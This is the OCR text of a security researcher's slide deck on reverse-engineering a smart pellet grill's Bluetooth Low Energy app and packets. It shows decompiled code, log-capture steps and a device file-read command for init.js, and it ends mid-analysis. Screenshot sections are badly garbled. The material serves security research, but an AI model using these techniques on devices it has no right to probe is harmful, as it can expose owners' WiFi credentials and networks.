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SHOULD LEAVE
YOUR SMART GRILL
UNPLUGGED?
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WHO AM I?

» (Cyber security researcher, speaker & blogger.

o Published 200+ technical write-ups @ hack4career.com

16 vyears of experience in the banking industry.
o CISO,SOC VP, Threat & Vulnerability Management

Lead, Lecturer in Malware Analysis

 Head of Strategy S@CRadar® Extended Threat

Intelligence (socradar.io)

* Certifications: CCISO, CISSP, CEREA, OSCP, CREA, SSCP




WHAT IS 10T?

WHAT YOU HEAR? WHAT YOU HAVE?

Smart A device with severe

weaknesses due to its
limited hardware and
software capability.

Better security

Cost and energy saving
Comfort

Automation

High-tech




X Vehicle Status

/N Critically Low Tire Pressure

Your tires have low air pressure. Add air to your tires now.

Recommended: Front 559 psi | Rear 559 psi




1I0TS ARE EVERYWHERE
AS OF 2023

~8 BILLION ~16 BILLION

Humans are livingon Connected loT

our planet. devices, equivalent to
twice the total
number of humans™.

*IOT Analytics




1I0TS ARE EVERYWHERE

Connected @
Internet connected

* 32.9ks/s ¥ 82.1 ks/s
[ =

S 19 s

Wi-Fi points Wireless devices ~ Wired devices

smart toilet smart deodorant smart belt router

* From fish tanks to thermostats, toilets™ to belts, and even pellet grills.
e |oTs areinevitable!

e Most of them use Bluetooth Low Energy.

*metrikus




BLUETOOTH LOW
ENERGY (BLE)

-

Often seenin
wearable devices,
smart loT devices,

fitness monitoring
equipment, etc.

Run on battery
power for years.

Used for
applications that
do not need to
exchange large
amounts of data.

4.

Transfers data in

far smaller pieces
than a Bluetooth

transmission of a

similar length.




WHAT ABOUT GRILLS?

O

il/3

' 4
a w

131.2 million 100 million Approximately Widespread use of
housel:\olds in :Ehe grill-owning one-third of them smart grills (I.OT)
U.S.1in 20227 households in the own may bring serious

security risks.

U.S.in 2021%. multiple grills.

*USAFACTS *TRAEGER




HOW
THE STORY




Settled in the U.S. at the end of 2022.

Purchased a BLE-enabled smart pellet grill
in March 2023.

Enrolled it into my home WiFi network, and
then a question appeared in my mind.

L |sitwise to keep an loT that stores my
WiFi password and SSID on the patio?




SECURITY
RISKS?

Changes depend on \ X /e _

* Who you are and who may target you,
e The type of vulnerability,
 Your risk appetite,

e How and where you use the loT for.



THE CASINO HACK*
2017

A North American casino installed a high-tech fish tank (IoT) in the aguarium in the lobby.
 The casino configured the tank to use an individual VPN to isolate the tank’s data.
 The hackers exploited a vulnerability in the thermostat to get a foothold in the network.

 They transferred 10GB of data to a device (hacked loT) in Finland.

 Dataincluded the high-roller database of gamblers.

*The Washington Post




WHAT I

A threat actor targets you or your enterprise?

 Will they pay a visit to you not only in the
cyber world but also in the real world to sneak
into your network?

e Factor fiction?




WHO ARE THEY?

|

Colleagues attending a cyber security
conference in Las Vegas?




WHAT

Connected to:

-Smartphone
(4G)

-WiFi panel

Do THEY antenna
CARRY?

Computer

— ey ‘-‘-.!’r';".'?i’
-

WiFi panel
antenna
(covered)

Bag with
battery

Transformer




WHERE
ARE THEY
HEADING
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OPERATION* OF

THE FANCY BEAR | APTZ28
2018

 Traveled tothe Netherlands on diplomatic passports.

 Hired acar and scouted the area around the OPCW building.
 They set up specialist equipment in the rear of the car.

 The goal was to hack OPCW's WiFi network.

e They were detained and expelled to Moscow by Dutch authorities.

*bbce




soc Radar’

O Dashboards

g
L(D_’ Attack Surface Management 3

& Digital Risk Protection

Cyber Threat Intelligence

Threat Hunting
Local Threat Share
%] Dark Web News
Vulnerability Intelligence
Supply Chain Intelligence
%% Threat Feed / 10C
£ Threat Actor/Malware
| Threat Hunting Rules
wQol Malware Analysis
=/ Threat Reports
» Breach Datasets
Campaigns

Stealer Logs

@;l Incidents

Threat Actors

‘ € Dashboard |

© APT28 | Mitre ID: GO007

Also Known As:

|

{} References

B Details

Yara / Sigma Rules

=] Description

Description of MISP: The Sofacy Group (also known as APT28, Pawn Storm, Fancy Bear and Sednit) is a cyber espionage group
pelieved to have ties to the Russian government. Likely operating since 2007, the group is known to target government, military, and
security organizations. It has been characterized as an advanced persistent threat.

Description of Mitre: APT28 is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General
Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the
Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S.
presidential election. APT28 has been active since at least 2004.[1] [2] (3] [4] [5] [6] |7] [8] 9] [10] [11]

(& Associated Malware/Software:

ﬁ cannon ‘ ﬁ JHUHUGIT ﬁ fusiondrive |

ﬁ xtunnel ‘

£ win.sedreco ‘ ‘ $ win.xtunnel_net ‘ ‘ £ win.xtunnel

‘ £ Dropper.DR/Autolt.Gen

ﬁ jar.jrat

£ Win.Downloader.76944-1

¥ popr-d30 ¥ driveocean ‘ £ win.computrace ‘ & oldbait | | £ CHOPSTICK ‘ $§ osx.xagent

ﬁ graphite ﬁ credomap ﬁ win.oldbait ‘ | ﬁ win.coreshell ﬁ Xp_privesc ‘ ﬁ win.koadic ‘

£ zebrocy £ win.hermeticwiper ‘ ¥ Fysbis £ Zebrocy $$ win.xagent ‘ ‘ 3 USBStealer

£ xagent H$ GLOOXMAIL ‘ | ¥ win.credomap

¥ Koadic ‘

S T T Ty R [ [ D O e N o P

| & osx.komplex ‘ $ win.driveocean || § koadic | ‘ $§ sedreco |

s 3

£ win.pocodown £ arguepatch ¥ win.seduploader ¥ win.xp_privesc £ pocodown ‘ ¥ Responder

MM Cnkilon | il e e i | R e i e AN S | M ~ADCoUCH | |

¥ ENTERPRISE ~ (MS)

® Target Countries

= Armenia K& Azerbaijan

Afghanistan

§M Belarus
By Chile
== Georgia

— Iran, Islamic Republic of

B ] Begum & Brazil

Bl China = Croatia Cyprus

g Bulgaria %] Canada

l | France

B Germany e Hungary o India

B Jordan

B'] Mexico

® Japan

- Irag

) Kazakhstan o Latvia EE Malaysia

Bl Mongolia Montenegro  mmm Netherlands  3fe= Norway
Pakistan  gmm Poland g Slovakia B South Africa
‘— S . [ § | . —— pap e 0
L Spain g gm Sweden Ed Switzerland . Tajikistan

== Uganda Ukraine

=== Thailand Turkey

%E United Kingdom United States

@

I United Arab Emirates

= Uzbekistan




FACT OR FICTION?

e Facts
o APT groups may come after their targets in the cyber and real world.
o No evidence of hacking someone by exploiting a vulnerability in an loT.

* Fiction
o What if they would come after a VIP Mert?
o Easy or challenging to sneak into the WiFi network by hacking an loT?

L | et’s find out!
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d Bluetooth USB adapter (Parani-UD100)

d mobile device (Galaxy S) to capture BLE packets.
to send and receive BLE packets.

hark to analyze BLE packets.
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TOOLS & DEVICES




JADX

View Navigation Tools Help

H 2 © Q e =

Tool for reverse engineering
Android applications.

Allows to decompile

bytecode to Java source code
from APK and DEX files.

*JADX

Hilt RoundedBottomSheetDialc
Hilt SimpleExternalStorageSt
Hilt SimpleExternalStorageSt
Hilt SingleSelectionDialogFr
Hilt SuspiciouslinkWarningDi
Hilt WaPreferenceFragment
HomeActivity
HomePagerSlidingTabStrip
InfoCard
IntentChooserBottomSheetDial
InteractiveAnnotation
InterceptingEditText
KeyboardPopuplayout
ListItemWithlLeftIcon
ListItemWithRightIcon

Main

e

MediaData
MessageDialogFragment
Mp40ps

MuteDialogFragment
NativeMediaHandler
PagerSlidingTabStrip
PushnameEmojiBlacklistDialog
QrImageView
RequestPermissionActivity
RevokelinkConfirmationDialog

12 errors 1364 warnings

"New Project - jadx-gui

8 -

MF.AndroidManifest.xml c Main

public final void Alq() {
(!isFinishing()) {
Intent intent
if (intent != null && !"android.intent.action.MAIN".equals(intent.getAction()) &
Log.i( "main/
. string = getString(R.string.app_name);

new Intent();

getintent();
~ecreate shortcut");

Intent intent2
intent2.setClassName(getPackageName( ),
intent2.addFlags(268435456);
intent2.addFlags(671883864);
Intent intent3 = new Intent();
intent3.putExtra("android.intent.extra.shortcut.INTENT", Intent.parseUri
+ catch (URISyntaxException e) {
StringBui ABc = AnonymousClass@eI.ABc("reg
.append(e.getMessage());
.e(ABc.toString(), e);

intent3.
intent3.

putExtra("android.intent.extra.:
setAction(
sendBroadcast(intentp);

RegisterName.A@@(this, getString(R.string.app_name));
AnonymousClass@eI.ABy( ( (Activity(Ce481eHp) this).AB9, "shortcut v

“com.android. launcher.acti

(this.A@9 && !isFinishing()) {
Intent intent4
intent4.setClassName(getPackageName(),
startActivity(intent4);

overridePendingTransition(@,

new Intentiﬂ;

finish();

MacBook
s



PARANI-UD100O

e The Parani-UD100is aclass 1 type
(longest range) Bluetooth USB adapter.

e Supports 300 meters (984 ft) of wireless
transmission distance by default.

 The working distance can be further
extended up to 1000 meters.




REVERSING

THE MOBILE APPLICATION

41T (FISIETENCENCELPETN . TEQUIFTIETENENLENE LPET « LUNNEL I VCEV LLDN yp TALSE )] . DUU LEdANVAaLuEy ) || I == muLlL}) 1
return;
¥
.addIntoQueue(new BleCommandMaker().getFileContent("init.js", 20), BaseBleServiceActivity.QUERY_COMMAND);
return;

}
Crashlytics crashlytics3 = Crashlytics.INSTANCE;
str2 = BluetoothLeService.TAG;
crashlytics3.d(str2, "STATUS notification registered.");
= BluetoothLeService.this.blindActivity;
if ( == null) {
return;
}

.onBleConnected():
}
private final IBinder mBinder = new LocalBinder(this);

Is there a way to replace

init.js with something
valuable from the attacker’s
perspective?

public final int getConnectionState() {
return this.connectionState;
}

public boolean getBluetoothConnectDeviceisNXG1() {
return this.bluetoothConnectDeviceisNXG1:

}

public final String getFilleContent(String fileName, int i) {
Intrinsics.checkNotNullParameter(fileName, " fileName");
return " {\"id\":999,\"method\":\"FS.Get\",\"params\": {\"filename\":\"" + fileName + "\", \"offset\": @, \"len\":" + i + "}} ";

public final String setUpWiFiWithSecurity(String sSsid, ing wifiPassword) {
Intrinsics.checkNotNullParameter(ssid, "ssid");
Intrinsics.checkNotNullParameter(wifiPassword, "wifiPasswolt

return "{ \"id\": 1205, \"method\": \"Config.Set\", \"params \"hidden_files\": \"#.*\"

\"config\": { \"http\": {

}

public final String sendSSID(String ssid) {
Intrinsics.checkNotNullParameter(ssid, "ssid");
return "{\"id\":1205,\"method\":\"Config.Set\" ,\"params\" :{\"config\":

g Might FS.Get method be a clue of the

public final String sendPass(String pass) {
Intrinsics.checkNotNullParameter(pass, "pass");
return "{\"id\":1204,\"method\":\"Config.Set\",\"params\" :{\"config\":

target operating system ?

}

public final Strinn setAWSFreauencv(int i) {




INSTALLING

11:01 74 e =l 92%m

11:00 74 o =0l 92%m 11:01 B 74 o =0l 92%m

PRODUCT SETUP CONNECTING WIFI SET UP SKIP

STEP 1
Open your settings and ensure Bluetooth is enabled

on this device
STEP 2: \\\
Select your product when it appears below SELECT YOUR WI-FI NETWORKS

.
g

790 &

1000

|f you don't see your product, move closer to the

product and make sure the product is turned on.

CONTINUE

THE APPLICATION

11:01 742 M g =05 al 92%m

WlFI SET UP

Enter the password for:




CAPTURING THE
BLE PACKETS

Steps To Capture btSnoop & dumpsate Logs-

N

Followed the same method*

| used to hack my treadmill with

my Samsung Galaxy S smartphone

(Write-up: Run Mert Run*)

*Hack4Career

*Samsung

N oMU AW

. Press *#9900# on the dialer.
. On USER Binary Go to Settings->About Device : Tap 7 times on Build Number to enable Developer

Options

. Go to Settings->Developer Options->Bluetooth HCl snoop log -> Enable this check box

Flight Mode > On / Off

. Press *#99004# on the dialer -> Change Debug Level Disabled/LOW to MID -> Reboot device

REPRODUCE the issue scenario

. Then capture the logs.

a) Press *#9900# on the dialer

b) Click on “RUN DUMPSTATE/LOGCAT”

¢) It will start dumping the dumpstate.

d) Once it complete, Click on the “COPY TO SDCARD(INCLUDE CP RAMPDUMP”,
e) Dumpstate will be stored in the device storage.

. Attach the device to PC
. Get the logs from the device LOG folder and share it with us.(This LOG folder will contain both

btsnoop & dumpstate log files)
Note : From the log folder in device, please ensure that files ‘dumpstate... and ‘btsnoop... files are
present.



ANALY ZING
THE PACKETS




ANALYZING THE PACKETS

£ btsnoop_hci.log

ALl d@ mEBEENE ReEe>E$ I B Q QB

I| bluetooth.addr == && bt|2{:a_p.cid == 0x0004 _ -

Packet bytes Narrow (UTF-8 /ASCIl) ¢ Case sensitive & initjs Find Cancel

| Time Iﬂme | Destination | Protoce| Length | Info
631 2023-03-29 20:57:31.846382 ATT 16 Sent Handle Value Indication, Handle: ©0x@003 (Un
638 2023-03-29 20:57:31.887194 — ATT 12 Sent Exchange MTU Request, Client Rx MTU: 500
664 2023-03-29 20:57:32.339135 _ ATT 10 Rcvd Handle Value Confirmation, Handle: 0x0003 (
665 2023-03-29 20:57:32.339751 . - ATT 12 Rcvd Exchange MTU Response, Server Rx MTU: 500
667 2023-03-29 20:57:32.340757 ATT 16 Sent Read By Type Request, Server Supported Feat
680 2023-03-29 20:57:32.428583 ATT 14 Rcvd Error Response — Attribute Not Found, Handl
681 2023-03-29 20:57:32.429422 ATT 14 Sent Write Request, Handle: 0x0031 (Unknown)
686 2023-03-29 20:57:32.518386 ATT 1@ Rcvd Write Response, Handle: 0x@0031 (Unknown)
687 2023-03-29 20:57:32.522430 ATT 16 Sent Write Request, Handle: 0x0033 (Unknown)
693 2023-03-29 20:57:32.608808 . ATT 10 Rcvd Write Response, Handle: 0x0833 (Unknown)
695 2023-03-29 20:57:32.614125 1 ATT 32 Sent Write Request, Handle: 0x@02e (Unknown)
714 2023-03-29 20:57:32.878727 ATT 10 Rcvd Write Response, Handle: 0x002e (Unknown)
715 2023-03-29 20:57:32.884968 ATT 32 Sent Write Request, Handle: @0x@02e (Unknown)
730 2023-03-29 20:57:33.058503 - ATT 10 Rcvd Write Response, Handle: 0x002e (Unknown)
737 2023-03-29 20:57:33.064478 ATT 32 Sent Write Request, Handle: @x0@02e (Unknown)
755 2023-03-29 20:57:33.418322 I ATT 10 Rcvd Write Response, Handle: @x002e (Unknown)
756 2023-03-29 20:57:33.421552 ATT 32 Sent Write Request, Handle: @x@02e (Unknown)

Frame 687: 16 bytes on wire (128 bits), 16 bytes captured (128 bits) 0000 ©2 43 00 Ob 00 07 00 04 00 12 33 00 00 00 00 55 C 3 U
Bluetooth
Bluetooth HCI H4
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
> Opcode: Write Request (@x12)
Handle: 0x0033 (Unknown)
Value: 00000055

® K Value (btatt.value), 4 bytes Packets: 1029 - Displayed: 159 (15.5%) Profile: Default

i




A

ANALYZING THE PACKETS

£ btsnoop_hci.log

A miENE RFIeEG IE Q Q&R

i | bluetooth.addr == && btl2cap.cid == 0x0004

Jo.
667

680
681
686
687
693
695
714
715
EL
EY
755
756
175
776
793
794
795
797
798

QAR

Frame

00 1
Bluetooth 0010 64 22 3a 3

| Time | Source | Destination | Protoce| Length | Info
2023-03-29 20:57:32.340757 ' ' ' Sent

2023-03-29 20:57:32.428583 Rcvd
2023-03-29 20:57:32.429422 Sent
2023-03-29 20:57:32.518386 Recvd
2023-03-29 20:57:32.522430 Sent
2023-03-29 20:57:32.608808 Recvd

2023-03-29 20:57:32.614125 Sent
2023-03-29 20:57:32.878727 Revd
2023-03-29 20:57:32.884968 Sent

2023-03-29 20:57:33.058503 Rcvd
2023-03-29 20:57:33.064478 Sent
2023-03-29 20:57:33.418322 Revd
2023-03-29 20:57:33.421552 — Sent
2023-03-29 20:57:33.688494 5 J Rcvd
2023-03-29 20:57:33.691795 . Sent
2023-03-29 20:57:33.868371 Revd
2023-03-29 20:57:33.868977 Revd
2023-03-29 20:57:34.176298 . 12 Sent
2023-03-29 20:57:34.319599 105 Rcvd

2023-03-29 20:57:34.326329 14 Sent
FAII_MAI_DAO IAET«IA EAMRTTD - - - A Derwed
695: 32 bytes on wire (256 bits), 32 bytes captured (256 bits) 0000 02 43

b @
9 3

0 17
9 39

Bluetooth HCI H4
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
> Opcode: Write Request (0x12)
Handle: @0x002e (Unknown)
Value: 207b226964223a3939392c226d6574686T64223a

X

Read By Type Request, Server Supported Feat
Error Response — Attribute Not Found, Handl
Write Request, Handle: @x0031 (Unknown)
Write Response, Handle: @x8031 (Unknown)
Write Request, Handle: 0x0033 (Unknown)
Write Response, Handle: 0x0033 (Unknown)
Write Request, Handle: @x002e (Unknown)
Write Response, Handle: @x002e (Unknown)
Write Request, Handle: 0x002e (Unknown)
Write Response, Handle: 0x002e (Unknown)
Write Request, Handle: 0x002e (Unknown)
Write Response, Handle: 0x002e (Unknown)
Write Request, Handle: 0x002e (Unknown)
Write Response, Handle: @x002e (Unknown)
Write Request, Handle: @x002e (Unknown)
Handle Value Notification, Handle: 0x0030 (
Write Response, Handle: 0x002e (Unknown)
Read Request, Handle: 0x002e (Unknown)

Read Response, Handle: 0x002e (Unknown)
Write Request, Handle: 0x002b (Unknown)

lWri+a DacnAanca Handla: GvAd?h (linlknAuon)

00 04 00 12 2e 00 20 7b 22 69 C - - [
2c 22 6d 65 74 68 6f 64 22 3a d":999," method":

Value (btatt.value), 20 bytes Packets: 1029 - Displayed: 159 (15.5%) Profile: Default




|

ANALYZING THE PACKETS

A @ =

ME R3€¢DEF & B

£ btsnoop_hci.log

Q Q &a H

&& btl2cap.cid == 0x0004 e
| Source | Destination | Protoce| Length | Info

' ATT 12 Rcvd
HE BE E BN o, i
ATT 14

| bluetooth.addr ==

. | Time
665 2023-03-29
667 2023-03-29
680 2023-03-29
681 2023-03-29

20:
20:
20:
20:

/e
Y4
57:
57:

32.339751
32.34@757
32.428583
32.429422

Exchange MTU Response, Server Rx MTU: 500
Read By Type Request, Server Supported Feat
Error Response - Attribute Not Found, Handl
Write Request, Handle: 0x0031 (Unknown)

Rcvd
ATT 14 Sent

686
Gy
693
695
714
7 b
730
EY
755
756
7T
776
793
794
795
797

TNo

2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29

TMATD A2 N

20:
20:
20:
20:
20:
20:
pi'H
20:
20:
20:
20:
20:
20:
20:
20:
20:

1T

57:
i
S -
-
L i1
L -
i
= -
o/
57:
57:
37/ %
57:
o/
T
= 4

CETa2A

32.
32.
32.
32.
32.
32.
33.
33.
33.
33.
33.
33.
Ll
33
34.
34.

518386
522430
608808
614125
878727
884968
058503
064478
418322
421552
688494
691795
868371
868977
176298
319599

2IE£DIN

ATT

ATT

-

I B E AT
ATT

HE B B AT
[ prld

a m Y
ATT

BN E B AT

ATT
ATT
i EDsaDs L TRMVD ACD2CHD ATT

C kkYshatVF Masskl s C3T 11T+ ==)

10
16
10
32
10
32
10
32
10
32
10
17
16
10
12
105

1A

Rcvd
Sent
Rcvd
Sent
Rcvd
Sent
Rcvd
Sent
Rcvd
Sent
Rcvd
Sent
Rcvd
Rcvd
Sent
Rcvd

Write
Write
Write
Write
Write
Write
Write
Write
Write
Write
Write
Write

Handle Value Notification, Handle: ©0x0030 (

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

0x0031 (Unknown)
@x0033 (Unknown)
@x0033 (Unknown)
0x002e (Unknown)
0x002e (Unknown)
@x002e (Unknown)
0x002e (Unknown)
@x002e (Unknown)
0x002e (Unknown)
@x002e (Unknown)
0x002e (Unknown)
@0x002e (Unknown)

Write Response, Handle: 0x002e (Unknown)
Read Request, Handle: @x002e (Unknown)
Read Response, Handle: 0x002e (Unknown)

Canmd+

UamaATl s

Nk [ llalrem s om

0000 02 43 00 1b 00 17 00 04 00 12 2e 00 22 46 53 2e C . *
0010 47 65 74 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 Get","pa rams":{"

Frame 715:
Bluetooth
Bluetooth
Bluetooth

32 bytes on wire (256 bits), 32 bytes captured (256 bits)

HCI H4
HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
> Opcode: Write Request (0x12)
Handle: 0x002e (Unknown)
Value: 2246532e476574222c22706172616d73223a7b22

4

P Ei Value (btatt.value), 20 bytes Packets: 1029 - Displayed: 159 (15.5%) Profile: Default




ANALYZING THE PACKETS

o0 £ btsnoop_hci.log

{ A0 mi N@E QJe>EF S E Q& l

bluetooth.addr == 3& bti2cap.cid == 0x0004 WNET ) +

| Time | Source | Destination | Protoca| Length | Info
667 2023-03-29 20:57:32.340757 ATT 16 Sent Read By Type Request, Server Supported Feat
680 2023-03-29 20:57:32.428583 IATI' 14 Rcvd Error Response - Attribute Not Found, Handl
681 2023-03-29 20:57:32.429422 _ ATT 14 Sent Write Request, Handle: 0x0031 (Unknown)
686 2023-03-29 20:57:32.518386 . . ATT 10 Rcvd Write Response, Handle: @x@0031 (Unknown)
687 2023-03-29 20:57:32.522430 ATT 16 Sent Write Request, Handle: 0x0033 (Unknown)

693 2023-03-29 20:57:32.608808 10 Rcvd Write Response, Handle: @x@0033 (Unknown)

: ATT
695 2023-03-29 20:57:32.614125 : ATT 32 Sent Write Request, Handle: 0x002e (Unknown)
714 2023-03-29 20:57:32.878727 . -A'IT 10 Rcvd Write Response, Handle: 0x002e (Unknown)
715 2023-03-29 20:57:32.884968 ATT 32 Sent Write Request, Handle: 0x002e (Unknown)
730 2023-03-29 20:57:33.058503 ATT 10 Rcvd Write Response, Handle: @x@02e (Unknown)
737 2023-03-29 20:57:33.064478 . . ATT 32 Sent Write Request, Handle: 0x002e (Unknown)
755 2023-03-29 20:57:33.418322 ATT 10 Rcvd Write Response, Handle: 0x002e (Unknown)
756 2023-03-29 20:57:33.421552 ATT 32 Sent Write Request, Handle: 0x002e (Unknown)

775 2023-03-29 20:57:33.688494 . ATT 10 Rcvd Write Response, Handle: @x@02e (Unknown)
776 2023-03-29 20:57:33.691795 . - . . ATT 17 Sent Write Request, Handle: 0x@02e (Unknown)
793 2023-03-29 20:57:33.868371 ATT 16 Rcvd Handle Value Notification, Handle: 0x0030 (
794 2023-03-29 20:57:33.868977 ATT 10 Rcvd Write Response, Handle: @x@002e (Unknown)

795 2023-03-29 20:57:34.176298 . . ATT 12 Sent Read Request, Handle: 0x@02e (Unknown)
797 2023-03-29 20:57:34.319599 ATT 105 Rcvd Read Response, Handle: 0x002e (Unknown)

798 2023-03-29 20:57:34.326329 . . ‘A'I'I' 14 Sent Write Request, Handle: 0x002b (Unknown)

QRAMR IRAII_AI_30 FMAKT«29A EARARTTY ATT 1A DerudAd Writda Dacnan ca HanAdlas: GA~AAYR [linknaAwm )

Frame 737: 32 bytes on wire (256 bits), 32 bytes captured (256 bits) 0000 02 43 00 1b 00 17 00 04 00 12 2e 00 66 69 6C 65 C .- file
Bluetooth 0010 6e 61 6d 65 22 3a 22 69 6e 69 74 2e 6a 73 22 2¢ name":"i nit.js",
Bluetooth HCI H4 '
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
> Opcode: Write Request (0x12)

Handle: 0x002e (Unknown)

Value: 66696c656e616d65223a22696e69742e6a73222c

i

E Value (btatt.value), 20 bytes Packets: 1029 - Displayed: 159 (15.5%) Profile: Default




ANALYZING THE PACKETS

£ btsnoop_hci.log

e QJeDET o BE Q Q &

&& btl2cap.cid == 0x0004 v

A A © =

N | bluetooth.addr ==

Packet bytes Narrow (UTF-8 [ ASCIl) ¢ Case sensitive ¢ initjs Find Cancel

| Time | Source | Destination | Protocc| Length | Info

681
686
687
693
695
714
7l
730
737
7]
756
77
776
793
794
795
797

2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29

20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:

20

20:
20:
20:
20:

Sy

=X

57:
57:
57:
Y -
L -
57:
<
S
57:
57:
L -
-
ol
s
=Y -

R
1 A
32
32.
32.
R
i
LEi
33
S
33.
33.
335
33.
33,
34.
34.

429422
518386
522430
608808
614125
878727
884968
058503
064478
418322
421552
688494
691795
868371
868977
176298
319599

I.I

m ul B

ATT
ATT
ATT
ATT
ATT
ATT

ATT
ATT
ATT
ATT
ATT
ATT
ATT
ATT
ATT

14
10
16
10
32
10
32
10
32
10
32
10
17
16
10
12
105

Sent
Rcvd
Sent
Rcvd
Sent
Rcvd
Sent
Rcvd
Sent
Rcvd
Sent
Rcvd
Sent
Rcvd
Recvd
Sent
Rcvd

Write
Write
Write
Write
Write
Write
Write
Write
Write
Write
Write
Write
Write

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

@x0031 (Unknown)
0x0031 (Unknown)
8x0033 (Unknown)
0x0033 (Unknown)
@x002e (Unknown)
0x002e (Unknown)
0x002e (Unknown)
0x002e (Unknown)
@x002e (Unknown)
0x002e (Unknown)
0x002e (Unknown)
0x002e (Unknown)
0x002e (Unknown)

Handle Value Notification, Handle: 0x0030 (
Write Response, Handle: @x002e (Unknown)
Read Request, Handle: 0x002e (Unknown)
Read Response, Handle: 0x002e (Unknown)

0000 02 43 00 1b 00 17 00 04 00 12 2e 00 20 22 6f 66
0010 66 73 65 74 22 3a 20 30 2c 20 22 6c 65 6e 22 3a

Frame 756: 32 bytes on wire (256 bits), 32 bytes captured (256 bits)
Bluetooth
Bluetooth HCI H4
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
> Opcode: Write Request (@0x12)
Handle: @x002e (Unknown)
Value: 20226f6666736574223a20302c20226c656e223a

L ﬁ Value (btatt.value), 20 bytes Packets: 1029 - Displayed: 159 (15.5%)

C o . +[EEEE
fset": 8 , "len":

Profile: Default




ANALYZING THE PACKETS

A

g |h|uetncth.addr ——

Packet bytes

| Time

2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-83-29
2023-03-29
2023-83-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29
2023-03-29

681
686
687
693
695
714
115
730
137
T
756
775
776
793
794
795
797

Frame
Bluetooth
Bluetooth HCI H4

20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:

776: 17 bytes on wire (136 bits), 17 bytes captured (136 bits)

o7
i -
T -
A
S F -
i
SH
L7
3/
57:
o
LT
57:
i
57:
S
57:

# @ -@E RFRed>EFF O E

£ btsnoop_hci.log

Q@ aQ & i

i && btl2cap.cid == 0x0004

MNarrow (UTF-8 [ ASCII) ¢

32
32.
32,
32.
32,
32.
32,
33,
33.
33.
33,
33.
33.
33.
33.
34.
34.

Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol

> Opcode: Write Request (0x12)

429422
518386
522430
608808
614125
878727
884968
058503
064478
418322
421552
688494
691795
868371
868977
176298
319599

| Source

Case sensitive String sz init.js

| Destination
ATT
ATT
ATT
ATT
ATT
ATT
ATT
ATT
ATT
ATT
ATT
ATT
ATT
ATT
ATT
ATT
ATT

0010 20

| Protocc| Length

14
10
16
10
32
10
32
10
32
10
32
10
11
16
10
12
105

| Info

Sent
Rcvd
Sent
Rcvd
Sent
Rcvd
Sent
Recvd
Sent
Rcvd
Sent
Rcvd
Sent
Rcvd
Rcvd
Sent
Rcvd

Write
Write
Write
Write
Write
Write
Write
Write
Write
Write
Write
Write
Write

Handle Value Notification, Handle: 0x0030 (

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

Response, Handle:

Request, Handle:

X

Find

0x0031 (Unknown)
0x0031 (Unknown)
9x0033 (Unknown)
0x0033 (Unknown)
#x002e (Unknown)
0x002e (Unknown)
@x002e (Unknown)
0x002e (Unknown)
0x002e (Unknown)
0x002e (Unknown)
0x002e (Unknown)
0x002e (Unknown)
0x002e (Unknown)

Write Response, Handle: 0x002e (Unknown)
Read Request, Handle: @0x002e (Unknown)
Read Response, Handle: @x002e (Unknown)

0000 02 43 00 Oc 00 08 00 04 00 12 2e 00 32 30 /d 7d C

-, +20}}

Handle: 0x002e (Unknown)
Value: 32307d7d20

Profile: Default

Value (btatt.value), 5 bytes

Packets: 1029 - Displayed: 159 (15.5%)




BleConfiguration

package nex;

import java.util.HashMap;

/* loaded from: classes3.dex x/
5 | public class BleConfliguration {

public static String CHARACTERISTIC_ _SUBSCRIBE 4?"3@6d4f53—5f44—4247—5f6c—6f675f5f5f3@”;

public static String CHARACTERISTIC_ _WRITE_COMMAND = "5f6d4f53-5f52-5043-5f64-6174615f5f5f";
public static String CHARACTERISTIC_ = _WRITE DATA_LENGTH = "5f6d4f53-5152-5043-51t74-785163746¢c5T";
public static String CLIENT CHARACTERISTIC_CONFIG = “@@@@2QBZ—BGBQ{ﬁ@@@—SGBG—@@BQSf9b34fb“;

public static String MODEL_ _SUBSCRIBE = " _ SubsCrisamsService";

public static String MODEL Ewomamme® WRITE = “ WRITE services' ™aa




ANALYZING THE PACKETS

* The mobile application sent;
o “00000055” (85 in decimal) value to
CHARACTERISTIC_XXXXX WRITE_DATA_LENGTH characteristic.

e {"id":999,’method”:"FS.Get”,'params”:{"filename”:"init.js”, offset”: 0, “len”:20}} command
to CHARACTERISTIC XXXXX_WRITE_COMMAND characteristic in 5 pieces.

e Summary in human-readable form;
o Notified the pellet grill of the length of the command. (85 chars)
o Sent the command to read the content of init.js file.




ANALYZING THE PACKETS

N N £ btsnoop_hci.log

I04Ad@O mERNE Se>=EP I E QaQ Q @

' bluetooth.addr == && btl2cap.cid == 0x0004

